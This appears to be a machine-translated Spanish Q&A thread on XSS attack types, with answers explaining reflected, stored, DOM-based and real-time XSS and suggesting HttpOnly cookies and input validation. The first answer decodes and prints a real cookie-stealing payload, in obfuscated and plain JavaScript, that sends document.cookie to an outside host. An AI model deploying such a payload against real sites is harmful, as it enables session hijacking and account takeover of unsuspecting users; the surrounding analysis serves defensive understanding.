¿Cuáles son los ataques XSS más efectivos?

Este es un ataque muy directo. Si decodifica los múltiples niveles de escape, terminará con:

_0xe6fe=["script","createElement","src","http://typpo.us/t.php?s=","cookie","setAttribute","appendChild","item","head","getElementsByTagName"];js=document[_0xe6fe[1]](_0xe6fe[0]);js[_0xe6fe[5]](_0xe6fe[2],_0xe6fe[3]+escape(document[_0xe6fe[4]]));document[_0xe6fe[9]](_0xe6fe[8])[_0xe6fe[7]](0)[_0xe6fe[6]](js);

Parece que se ejecutó a través de algún tipo de minificador de código, sin embargo, es trivial explotarlo en el código real no ofuscado:

   js = document.createElement ('script');
 js.setAttribute ('src', 'http://typpo.us/t.php?s=' + escape (document.cookie));
 document.getElementsByTagName ('head'). item (0) .appendChild (js);  

Por lo tanto, es muy simple, solo recopila cookies y las envía a un script que se ejecuta en “typpo.us”.

En cuanto a su pregunta, no diría que hay ataques XSS “más efectivos”; cualquier agujero XSS debe tomarse muy en serio. Cualquier agujero XSS permitirá que un atacante actúe en nombre de sus usuarios. Los desarrolladores a veces intentarán mitigar el riesgo de agujeros XSS con los sistemas de cortafuegos IDS, las cookies solo http y los piratas informáticos similares, sin embargo, estos métodos no deben considerarse una forma de prevención primaria. Y a veces los mecanismos de protección pueden ser dañinos al enmascarar los agujeros de los desarrolladores.

Hay diferentes clases de agujeros XSS que podrían considerarse más serios que otros.

Probablemente el “menos” serio es un vector que solo persiste en una sola página, tal vez en un parámetro GET o POST. Los atacantes pueden explotar esto incrustando la página con el vector incluido en un iframe en un sitio web. Entonces, cualquier espectador que visite el sitio web malvado cargará su sitio en un iframe y luego ejecutará automáticamente el vector de ataque. El ataque podría hacerse viral haciendo que el código publique enlaces a sí mismo en su sitio bajo la identidad del usuario explotado.

Lo siguiente a considerar es un vector persistente, que creo que es lo que te atacó. Este es un vector que persistirá en el sitio web de destino, tal vez en forma de una sección “acerca de mí” o publicación en un foro, por ejemplo. Esto es más grave porque permite que el vector XSS se ejecute pasivamente con solo visitar una página, en lugar de requerir que un usuario haga clic en un enlace. Tiene la ventaja adicional de no requerir un servidor externo, lo que puede dificultar el seguimiento del atacante. Nuevamente, esto podría hacerse viral al hacer que la víctima propague el vector bajo su identidad.

Otro posible ataque al que algunos sitios pueden ser vulnerables serían los ataques en tiempo real. En sitios web modernos (como Quora, o muchos otros) que incorporan elementos en tiempo real si hay un vector XSS en los mecanismos en tiempo real, podría ser catastrófico. Un vector cuidadosamente diseñado podría extenderse a todos los usuarios activos en cuestión de segundos.

La carga útil de cualquier vector puede variar desde “mostrar un pony en la página” hasta “enviar credenciales a la parte malvada” o “eliminar permanentemente todo en la cuenta del usuario”.

Entonces, la solución es no tener agujeros XSS en su sitio web.

Ver que hay muchos tipos de ataque xss. Generalmente lo clasifiqué en 3 tipos.

  1. xss reflejado
  2. almacenar xss
  3. DOM basado en xss

El ataque basado en tienda y dom es el ataque más peligroso. en xss basado en la tienda básicamente escribimos un script e inyectamos en la base de datos de cualquier sitio web mediante cualquier campo de entrada o mediante inyección sql. cuando el script almacenado en la base de datos. Ahora, cuando el usuario abra esa página vulnerable, el script se verá afectado.

Sí, es cierto mediante el uso de este tipo de script. Un atacante puede robar otros datos del usuario, como cookies, historial o incluso el atacante puede controlar el sistema del usuario.

tercero es el ataque basado en dom.

En este tipo de ataque, el atacante puede cambiar la arquitectura html, incluso el lenguaje del lado del servidor no puede detener este ataque.

encontrar esta vulnerabilidad basada en dom es una dificultad, pero si alguien la encuentra, entonces puede hacer muchas cosas.

la mayoría de los ataques están dirigidos a los usuarios de cookies, para evitar esto puedes

1- Agregue la bandera de cookies http solo para mitigar el riesgo de que el script del lado del cliente acceda a la cookie protegida

2- validar todas las entradas